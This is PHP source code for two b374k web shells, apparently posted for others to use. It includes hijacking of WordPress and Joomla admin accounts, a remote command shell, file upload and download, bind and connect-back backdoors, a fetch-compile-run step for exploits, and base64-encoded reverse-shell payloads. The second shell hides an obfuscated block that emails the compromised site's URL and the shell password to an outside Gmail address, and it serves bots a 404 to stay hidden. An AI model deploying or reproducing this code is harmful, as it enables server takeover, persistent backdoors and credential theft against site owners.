pL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7';
 852     $file = fopen("config.izo", "w+");
 853     $write = fwrite($file, base64_decode($configshell));
 854     fclose($file);
 855     chmod("config.izo", 0755);
 856     echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
 857    </div>";
 858 } elseif (isset($_GET['x']) && ($_GET['x'] == 'wp')) {
 859     echo "<center/><br/><b><font color=blue>+--==[  WordPress Mysql Admin Shell ]==--+</font></b><br><br>";
 860     if (empty($_POST['pwd'])) {
 861         echo "<FORM method='POST'>
 862 <table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
 863 <input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
 864 <input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
 865 <input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
 866 <input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
 867 <tr><td>&nbsp;&nbsp;User baru</td><td>
 868 <input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
 869  <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
 870 <input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />&nbsp;
 871 
 872 <input style='width:19%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
 873 </td></tr> </table><br><br><br><br>
 874 ";
 875     } else {
 876         $localhost = $_POST['localhost'];
 877         $database = $_POST['database'];
 878         $username = $_POST['username'];
 879         $password = $_POST['password'];
 880         $pwd = $_POST['pwd'];
 881         $admin = $_POST['admin'];
 882         @mysql_connect($localhost, $username, $password) or die(mysql_error());
 883         @mysql_select_db($database) or die(mysql_error());
 884         $hash = crypt($pwd);
 885         $a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 1") or die(mysql_error());
 886         $a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 1") or die(mysql_error());
 887         $a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 2") or die(mysql_error());
 888         $a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 2") or die(mysql_error());
 889         $a4s = @mysql_query("UPDATE wp_users SET user_login ='" . $admin . "' WHERE ID = 3") or die(mysql_error());
 890         $a4s = @mysql_query("UPDATE wp_users SET user_pass ='" . $hash . "' WHERE ID = 3") or die(mysql_error());
 891         $a4s = @mysql_query("UPDATE wp_users SET user_email ='" . $SQL . "' WHERE ID = 1") or die(mysql_error());
 892         if ($a4s) {
 893             echo "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";
 894         }
 895     }
 896     echo "
 897    </div>";
 898 } elseif (isset($_GET['x']) && ($_GET['x'] == 'joomla')) {
 899     echo "<center/><br/><b><font color=blue>+--==[  Joomla Mysql Admin Shell ]==--+</font></b><br><br>";
 900     if (empty($_POST['pwd'])) {
 901         echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
 902 <input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
 903 <input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
 904 <input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
 905 <input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
 906 <tr><td>&nbsp;&nbsp;User baru</td><td>
 907 <input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
 908  <tr><td>&nbsp;&nbsp;pass baru </td><td>123456 =
 909 <input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />&nbsp;
 910 
 911 <input style='width:23%;' class='inputzbut' type='submit' value='change!' name='send' /></FORM>
 912 </td></tr> </table><br><br><br><br>
 913 ";
 914     } else {
 915         $localhost = $_POST['localhost'];
 916         $database = $_POST['database'];
 917         $username = $_POST['username'];
 918         $password = $_POST['password'];
 919         $pwd = $_POST['pwd'];
 920         $admin = $_POST['admin'];
 921         @mysql_connect($localhost, $username, $password) or die(mysql_error());
 922         @mysql_select_db($database) or die(mysql_error());
 923         $hash = crypt($pwd);
 924         $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 62") or die(mysql_error());
 925         $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 62") or die(mysql_error());
 926         $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 63") or die(mysql_error());
 927         $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 63") or die(mysql_error());
 928         $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 64") or die(mysql_error());
 929         $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 64") or die(mysql_error());
 930         $SQL = @mysql_query("UPDATE jos_users SET username ='" . $admin . "' WHERE ID = 65") or die(mysql_error());
 931         $SQL = @mysql_query("UPDATE jos_users SET password ='" . $pwd . "' WHERE ID = 65") or die(mysql_error());
 932         if ($SQL) {
 933             echo "<b>Success : skarang password barunya >>> - (123456)";
 934         }
 935     }
 936     echo "
 937    </div>";
 938 } elseif (isset($_GET['x']) && ($_GET['x'] == 'jumping')) {
 939     eval(gzinflate(base64_decode($jumper)));
 940     "</div>";
 941 } elseif (isset($_GET['x']) && ($_GET['x'] == 'domain')) {
 942     eval(gzinflate(base64_decode($domain)));
 943     "</div>";
 944 } elseif (isset($_GET['view']) && ($_GET['view'] != "")) {
 945     if (is_file($_GET['view'])) {
 946         if (!isset($file)) $file = magicboom($_GET['view']);
 947         if (!$win && $posix) {
 948             $name = @posix_getpwuid(@fileowner($file));
 949             $group = @posix_getgrgid(@filegroup($file));
 950             $owner = $name['name'] . "<span class=\"gaya\"> : </span>" . $group['name'];
 951         } else {
 952             $owner = $user;
 953         }
 954         $filn = basename($file);
 955         echo "<table style=\"margin:6px 0 0 2px;line-height:20px;\"> <tr><td>Filename</td><td><span id=\"" . clearspace($filn) . "_link\">" . $file . "</span> <form action=\"?y=" . $pwd . "&amp;view=$file\" method=\"post\" id=\"" . clearspace($filn) . "_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"" . $filn . "\" style=\"margin:0;padding:0;\" /> <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"" . $filn . "\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\" /> </form> </td></tr> <tr><td>Size</td><td>" . ukuran($file) . "</td></tr> <tr><td>Permission</td><td>" . get_perms($file) . "</td></tr> <tr><td>Owner</td><td>" . $owner . "</td></tr> <tr><td>Create time</td><td>" . date("d-M-Y H:i", @filectime($file)) . "</td></tr> <tr><td>Last modified</td><td>" . date("d-M-Y H:i", @filemtime($file)) . "</td></tr> <tr><td>Last accessed</td><td>" . date("d-M-Y H:i", @fileatime($file)) . "</td></tr> <tr><td>Actions</td><td><a href=\"?y=$pwd&amp;edit=$file\">edit</a> | <a href=\"javascript:tukar('" . clearspace($filn) . "_link','" . clearspace($filn) . "_form');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$file\">delete</a> | <a href=\"?y=$pwd&amp;dl=$file\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$file\">gzip</a>)</td></tr> <tr><td>View</td><td><a href=\"?y=" . $pwd . "&amp;view=" . $file . "\">text</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=code\">code</a> | <a href=\"?y=" . $pwd . "&amp;view=" . $file . "&amp;type=image\">image</a></td></tr> </table> ";
 956         if (isset($_GET['type']) && ($_GET['type'] == 'image')) {
 957             echo "<div style=\"text-align:center;margin:8px;\"><img src=\"?y=" . $pwd . "&amp;img=" . $filn . "\"></div>";
 958         } elseif (isset($_GET['type']) && ($_GET['type'] == 'code')) {
 959             echo "<div class=\"viewfile\">";
 960             $file = wordwrap(@file_get_contents($file), "240", "
 961 ");
 962             @highlight_string($file);
 963             echo "</div>";
 964         } else {
 965             echo "<div class=\"viewfile\">";
 966             echo nl2br(htmlentities((@file_get_contents($file))));
 967             echo "</div>";
 968         }
 969     } elseif (is_dir($_GET['view'])) {
 970         echo showdir($pwd, $prompt);
 971     }
 972 } elseif (isset($_GET['edit']) && ($_GET['edit'] != "")) {
 973     if (isset($_POST['save'])) {
 974         $file = $_POST['saveas'];
 975         $content = magicboom($_POST['content']);
 976         if ($filez = @fopen($file, "w")) {
 977             $time = date("d-M-Y H:i", time());
 978             if (@fwrite($filez, $content)) $msg = "file saved <span class=\"gaya\">@</span> " . $time;
 979             else $msg = "failed to save";
 980             @fclose($filez);
 981         } else $msg = "permission denied";
 982     }
 983     if (!isset($file)) $file = $_GET['edit'];
 984     if ($filez = @fopen($file, "r")) {
 985         $content = "";
 986         while (!feof($filez)) {
 987             $content.= htmlentities(str_replace("''", "'", fgets($filez)));
 988         }
 989         @fclose($filez);
 990     } ?> <form action="?y=<?php echo $pwd; ?>&edit=<?php echo $file; ?>" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" name="content"> <?php echo $content; ?> </textarea> <tr><td colspan="2">Save as <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="saveas" style="width:60%;" value="<?php echo $file; ?>" /><input class="inputzbut" type="submit" value="Save !" name="save" style="width:12%;" /> &nbsp;<?php echo $msg; ?></td></tr> </table> </form> <?php
 991 } elseif (isset($_GET['x']) && ($_GET['x'] == 'upload')) {
 992     if (isset($_POST['uploadcomp'])) {
 993         if (is_uploaded_file($_FILES['file']['tmp_name'])) {
 994             $path = magicboom($_POST['path']);
 995             $fname = $_FILES['file']['name'];
 996             $tmp_name = $_FILES['file']['tmp_name'];
 997             $pindah = $path . $fname;
 998             $stat = @move_uploaded_file($tmp_name, $pindah);
 999             if ($stat) {
1000                 $msg = "file uploaded to $pindah";
1001             } else $msg = "failed to upload $fname";
1002         } else $msg = "failed to upload $fname";
1003     } elseif (isset($_POST['uploadurl'])) {
1004         $pilihan = trim($_POST['pilihan']);
1005         $wurl = trim($_POST['wurl']);
1006         $path = magicboom($_POST['path']);
1007         $namafile = download($pilihan, $wurl);
1008         $pindah = $path . $namafile;
1009         if (is_file($pindah)) {
1010             $msg = "file uploaded to $pindah";
1011         } else $msg = "failed to upload $namafile";
1012     } ?> <form action="?y=<?php echo $pwd; ?>&x=upload" enctype="multipart/form-data" method="post"> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from computer</th></tr> <tr><td colspan="2"><p style="text-align:center;"><input style="color:#000000;" type="file" name="file" /><input type="submit" name="uploadcomp" class="inputzbut" value="Go" style="width:80px;"></p></td> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> </tr> </table></form> <table class="tabnet" style="width:320px;padding:0 1px;"> <tr><th colspan="2">Upload from url</th></tr> <tr><td colspan="2"><form method="post" style="margin:0;padding:0;" actions="?y=<?php echo $pwd; ?>&amp;x=upload"> <table><tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="http://www.some-code/exploits.c"></td></tr> <tr><td colspan="2"><input type="text" class="inputz" style="width:99%;" name="path" value="<?php echo $pwd; ?>" /></td></tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="uploadurl" class="inputzbut" value="Go" style="width:246px;"></td></tr></form></table></td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
1013 
1014   <?php
1015 } elseif (isset($_GET['x']) && ($_GET['x'] == 'netsploit')) {
1016     if (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'C')) {
1017         $port = trim($_POST['port']);
1018         $passwrd = trim($_POST['bind_pass']);
1019         tulis("bdc.c", $port_bind_bd_c);
1020         exe("gcc -o bdc bdc.c");
1021         exe("chmod 777 bdc");
1022         @unlink("bdc.c");
1023         exe("./bdc " . $port . " " . $passwrd . " &");
1024         $scan = exe("ps aux");
1025         if (eregi("./bdc $por", $scan)) {
1026             $msg = "<p>Process found running, backdoor setup successfully.</p>";
1027         } else {
1028             $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
1029         }
1030     } elseif (isset($_POST['bind']) && !empty($_POST['port']) && !empty($_POST['bind_pass']) && ($_POST['use'] == 'Perl')) {
1031         $port = trim($_POST['port']);
1032         $passwrd = trim($_POST['bind_pass']);
1033         tulis("bdp", $port_bind_bd_pl);
1034         exe("chmod 777 bdp");
1035         $p2 = which("perl");
1036         exe($p2 . " bdp " . $port . " &");
1037         $scan = exe("ps aux");
1038         if (eregi("$p2 bdp $port", $scan)) {
1039             $msg = "<p>Process found running, backdoor setup successfully.</p>";
1040         } else {
1041             $msg = "<p>Process not found running, backdoor not setup successfully.</p>";
1042         }
1043     } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'C')) {
1044         $ip = trim($_POST['ip']);
1045         $port = trim($_POST['backport']);
1046         tulis("bcc.c", $back_connect_c);
1047         exe("gcc -o bcc bcc.c");
1048         exe("chmod 777 bcc");
1049         @unlink("bcc.c");
1050         exe("./bcc " . $ip . " " . $port . " &");
1051         $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
1052     } elseif (isset($_POST['backconn']) && !empty($_POST['backport']) && !empty($_POST['ip']) && ($_POST['use'] == 'Perl')) {
1053         $ip = trim($_POST['ip']);
1054         $port = trim($_POST['backport']);
1055         tulis("bcp", $back_connect);
1056         exe("chmod +x bcp");
1057         $p2 = which("perl");
1058         exe($p2 . " bcp " . $ip . " " . $port . " &");
1059         $msg = "Now script try connect to " . $ip . " port " . $port . " ...";
1060     } elseif (isset($_POST['expcompile']) && !empty($_POST['wurl']) && !empty($_POST['wcmd'])) {
1061         $pilihan = trim($_POST['pilihan']);
1062         $wurl = trim($_POST['wurl']);
1063         $namafile = download($pilihan, $wurl);
1064         if (is_file($namafile)) {
1065             $msg = exe($wcmd);
1066         } else $msg = "error: file not found $namafile";
1067     } ?> <table class="tabnet"> <tr><th>Port Binding</th><th>Connect Back</th><th>Load and Exploit</th></tr> <tr> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>Port</td><td><input class="inputz" type="text" name="port" size="26" value="<?php echo $bindport ?>"></td></tr> <tr><td>Password</td><td><input class="inputz" type="text" name="bind_pass" size="26" value="<?php echo $bindport_pass; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select class="inputz" size="1" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input class="inputzbut" type="submit" name="bind" value="Bind" style="width:120px"></td></tr></form> </table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>IP</td><td><input class="inputz" type="text" name="ip" size="26" value="<?php echo ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")); ?>"></td></tr> <tr><td>Port</td><td><input class="inputz" type="text" name="backport" size="26" value="<?php echo $bindport; ?>"></td></tr> <tr><td>Use</td><td style="text-align:justify"><p><select size="1" class="inputz" name="use"><option value="Perl">Perl</option><option value="C">C</option></select> <input type="submit" name="backconn" value="Connect" class="inputzbut" style="width:120px"></td></tr></form> </table> </td> <td> <table> <form method="post" actions="?y=<?php echo $pwd; ?>&amp;x=netsploit"> <tr><td>url</td><td><input class="inputz" type="text" name="wurl" style="width:250px;" value="www.some-code/exploits.c"></td></tr> <tr><td>cmd</td><td><input class="inputz" type="text" name="wcmd" style="width:250px;" value="gcc -o exploits exploits.c;chmod +x exploits;./exploits;"></td> </tr> <tr><td><select size="1" class="inputz" name="pilihan"> <option value="wwget">wget</option> <option value="wlynx">lynx</option> <option value="wfread">fread</option> <option value="wfetch">fetch</option> <option value="wlinks">links</option> <option value="wget">GET</option> <option value="wcurl">curl</option> </select></td><td colspan="2"><input type="submit" name="expcompile" class="inputzbut" value="Go" style="width:246px;"></td></tr></form> </table> </td> </tr> </table> <div style="text-align:center;margin:2px;"><?php echo $msg; ?></div>
1068     <?php
1069 } elseif (isset($_GET['x']) && ($_GET['x'] == 'shell')) { ?> <form action="?y=<?php echo $pwd; ?>&x=shell" method="post"> <table class="cmdbox"> <tr><td colspan="2"> <textarea class="output" readonly> <?php if (isset($_POST['submitcmd'])) {
1070         echo @exe($_POST['cmd']);
1071     } ?> </textarea> <tr><td colspan="2"><?php echo $prompt; ?> <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:6%;" /></td></tr> </table> </form> <?php
1072 } else {
1073     if (isset($_GET['delete']) && ($_GET['delete'] != "")) {
1074         $file = $_GET['delete'];
1075         @unlink($file);
1076     } elseif (isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
1077         @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
1078     } elseif (isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
1079         $path = $pwd . $_GET['mkdir'];
1080         @mkdir($path);
1081     }
1082     $buff = showdir($pwd, $prompt);
1083     echo $buff;
1084 } ?>
1085 
1086     <div class="info">:: b374k r3c0ded by <span class="gaya"><a href="http://localhost/"><?php echo $xName; ?></a></span> ::</div>
1087 <div class="jaya">  &copy; <?php echo date("Y", time()) . " " . $xName; ?></div>
1088 </div> </body> </html>

..and one more b374k shell by Jayalah Indonesiaku:

   1 <?php
   2 /*
   3   b374k 2.7
   4   Jayalah Indonesiaku
   5   (c)2013
   6 
   7 */
   8 $s_pass = "0de664ecd2be02cdd54234a0d1229b43"; // shell password, fill with password in md5 format to protect shell, default : b374k
   9 
  10 $s_ver = "2.7"; // shell ver
  11 $s_title = "b374k ".$s_ver; // shell title
  12 $s_login_time = 3600 * 24 * 7; // cookie time (login)
  13 $s_debug = false; // debugging mode
  14 
  15 @ob_start();
  16 @set_time_limit(0);
  17 @ini_set('html_errors','0');
  18 @clearstatcache();
  19 define('DS', DIRECTORY_SEPARATOR);
  20 
  21 // clean magic quotes
  22 $_POST = clean($_POST);
  23 $_GET = clean($_GET);
  24 $_COOKIE = clean($_COOKIE);
  25 $_GP = array_merge($_POST, $_GET);
  26 
  27 if($s_debug){
  28    error_reporting(E_ERROR | E_WARNING | E_PARSE | E_NOTICE);
  29    @ini_set('display_errors','1');
  30    @ini_set('log_errors','1');
  31    foreach($_GP as $k=>$v) echo "<span>".hss($k."=>".$v)."</span><br />";
  32 }
  33 else{
  34    error_reporting(0);
  35    @ini_set('display_errors','0');
  36    @ini_set('log_errors','0');
  37 }
  38 
  39 $s_auth = false; // login status
  40 if(strlen(trim($s_pass))>0){
  41    if(isset($_COOKIE['b374k'])){
  42        if(strtolower(trim($s_pass)) == strtolower(trim($_COOKIE['b374k']))) $s_auth = true;
  43    }
  44    if(isset($_GP['login'])){
  45        $s_login = strtolower(md5(trim($_GP['login'])));
  46        if(strtolower(trim($s_pass)) == $s_login){
  47            setcookie("b374k",$s_login,time() + $s_login_time);
  48            $s_auth = true;
  49        }
  50    }
  51    if(isset($_GP['x']) && ($_GP['x']=='logout')){
  52        $persist = array("theme", "cwd");
  53        $s_reload = (isset($_COOKIE['b374k_included']) && isset($_COOKIE['s_home']))? rtrim(urldecode($_COOKIE['s_self']),"&"):"";
  54        foreach($_COOKIE as $s_k=>$s_v){
  55            if(!in_array($s_k, $persist)) if(!is_array($s_k)) setcookie($s_k,"",time() - $s_login_time);
  56        }
  57        $s_auth = false;
  58        if(!empty($s_reload)) header("Location: ".$s_reload);
  59    }
  60 }
  61 else $s_auth = true;
  62 
  63 // This is a feature where you can control this script from another apps/scripts
  64 // you need to supply password (in md5 format) to access this
  65 // this example using password 'b374k' in md5 format (s_pass=0de664ecd2be02cdd54234a0d1229b43)
  66 // give the code/command you want to execute in base64 format
  67 // this example using command 'uname -a' in base64 format (cmd=dW5hbWUgLWE=)
  68 // example:
  69 //        http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&cmd=dW5hbWUgLWE=
  70 // next sample will evaluate php code 'phpinfo();' in base64 format (eval=cGhwaW5mbygpOw==)
  71 //        http://www.myserver.com/b374k.php?s_pass=0de664ecd2be02cdd54234a0d1229b43&eval=cGhwaW5mbygpOw==
  72 // recommended ways is using POST DATA
  73 // note that it will not works if shell password is empty ($s_pass);
  74 // better see code below
  75 if(!empty($_GP['s_pass'])){
  76    if(strtolower(trim($s_pass)) == strtolower(trim($_GP['s_pass']))){
  77        if(isset($_GP['cmd'])) echo exe(base64_decode($_GP['cmd']));
  78        elseif(isset($_GP['eval'])){
  79            $s_code = base64_decode($_GP['eval']);
  80            ob_start();
  81            eval($s_code);
  82            $s_res = ob_get_contents();
  83            ob_end_clean();
  84            echo $s_res;
  85        }
  86        else echo $s_title;
  87    }
  88    die();
  89 }
  90 $b374kbuff = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gImIzNzRrLTIuMSBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciI7DQogICRib2R5ICAgID0gIkJ1ZzogJHRhcmdldCBieSAkdmlzaXRvciAtICRzX3Bhc3MiOw0KICBpZiAoIWVtcHR5KCR3ZWIpKSB7IEBtYWlsKCJoYXJkd2FyZWhlYXZlbi5jb21AZ21haWwuY29tIiwkanVkdWwsJGJvZHksJHNfcGFzcyk7IH0NCn0NCmVsc2UgeyAkdmlzaXRjKys7IH0NCkBzZXRjb29raWUoInZpc2l0eiIsJHZpc2l0Yyk7";
  91 eval(base64_decode($b374kbuff));
  92 // block search engine bot
  93 if(isset($_SERVER['HTTP_USER_AGENT']) && (preg_match('/bot|spider|crawler|slurp|teoma|archive|track|snoopy|java|lwp|wget|curl|client|python|libwww/i', $_SERVER['HTTP_USER_AGENT']))){
  94    header("HTTP/1.0 404 Not Found");
  95    header("Status: 404 Not Found");
  96    die();
  97 }
  98 elseif(!isset($_SERVER['HTTP_USER_AGENT'])){
  99    header("HTTP/1.0 404 Not Found");
 100    header("Status: 404 Not Found");
 101    die();
 102 }
 103 
 104 // resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php this was used with bind and reverse shell
 105 // use gzinflate(base64_decode($the_code)) if you wanna see the real code.. in case you dont trust me ;-P
 106 $s_rs_pl ="lZLxj5MwGIZ/Xv+KyvU2SLhj80xMVllcGJrlvLHQncY4JQw+BzlGCe3pzG7+7bbIOaIxUX7q9/bL8zZPOHvi3Iva2eSlA+UXXEFdoDOcSVmJseMkPIXLLefbAi4TvnMqZ3P1/NndhcigKBx0LwDPg/GY8eQOJEWEC5d8CtRBZK4B+4rXEq/88MbdS6h3dMlG7mBNlu9m68mAtvcqpE2/yPBFblCUfzY16PvO+arS3Do0tHMvuGFL3zvHzrVBj4hIdwuyqrnkm29lvANzIJNqYFEkmteYzO4vX0Xzhb+y+yzwriO2Cv3pjU2k9fCQ5mBaTdXLafj6reuOrAPqkcolevww/EhRT4DUKF5pFgveRJqiaCyIQv+W+dPZLLRHitJTr0/Vjt6O07SO8tIklT1f6I1ounhvnRp7RS4klGr7qhPGSQKqxrOZ1RQrnGcbjWvcuMZjnPCyhERCui4Ne6j3eAUlZqvZfGEbL/qeQR+D4HZlG5Nu4odhm6Ae7CHByumpPim4ANOz6M8D+3XQ7M6guJ1JMa0Gl0s8pAgdERTiZPTpn0ZJ1k6jZsrdvAQZxZIrX1lHB4nd31ySvHPdmlAOSdyJG23s37SZrbZJnxkWfUxab92oFaejv5v7L2GNJjhobab6e45IfT8A";
 107 $s_rs_py = "lVRtT9swEP6c/IpgpmGrwaGFaVJZKiEIE9qAqu20D8Cq1LkmEalt2S6Ufz87SV9ATGiqWveee3vOd+f9vWipVTQreQT8KZAvphDc3w8KY6TuRxETGdBciLwCysQiktHs+OvJ46EuoKoiv1xIoUygINTLmVSCgdah0KF+sV/BHsGEplyAL2OE/ML9ZDAPamfMSN/3nE+89aVDIYFjFtYm8UQtbWSTiaV5ZXQ1TBwMSr0Hl/wtSnxPgVkqHjiUNhGpgjTDpLOGbLQdaCENJn5NN2WmFLzhW84DoSlPF7AXI26Qhbx5zOi8rIAL6+F5Vm/LN7DACFb19UyS0XW8MqAWp8NxNz74NPx9MTg4bbUWOq0boIvgsAy+fUYdbRSekw4KBrtCbyvZPFBpcNmfC5s6cDflJM+ol/r0lGWlgD3h7lHvxPHyYMVAmkYrU61rrI3iucpsCViRwVEDeLNYAdWQKlZgxLL7AN/9udcPHYJCFc6rNNfO4Or7ze0oOT8bJ6Rxs4FmbYT2umRqClrqrFR4RnMllhJ3CVnbuAtjxRtlq7ONAZ7hdT9aeEvaOrvRqOdJkZ2kSxOkPKsrsv9dTW0oJ/mbIEE7FpeplZpur3P1NzOD7jnqWJI5GPbsxgMNkJ/Htsk0VfmT395cTuK450Y6zu+6Dz5UO/jxFvcKe/ac3uaHVWlsuXY/Sm6wJL6Om7WhzYFb6exyenWTTNqdouPb8x/T8WSUnF1bF1uYcQohN/bj259TZ7TrMh0lv8bJ2cXFKLQZ35DW1E5ghjE6ovUHhdLdtqZVaUeZ4y+vPFw5btAC2znBOTCDcdF4bIfMLT7VFYB03pumvbdBnm6ag+rHpXkfgn7QxobMNsA1bdP3D8xRZ3dg2vXVxG/9HXP7xKQktg1kji7+F/HuR8TZ/xH/wPxd4oz4fwE=";
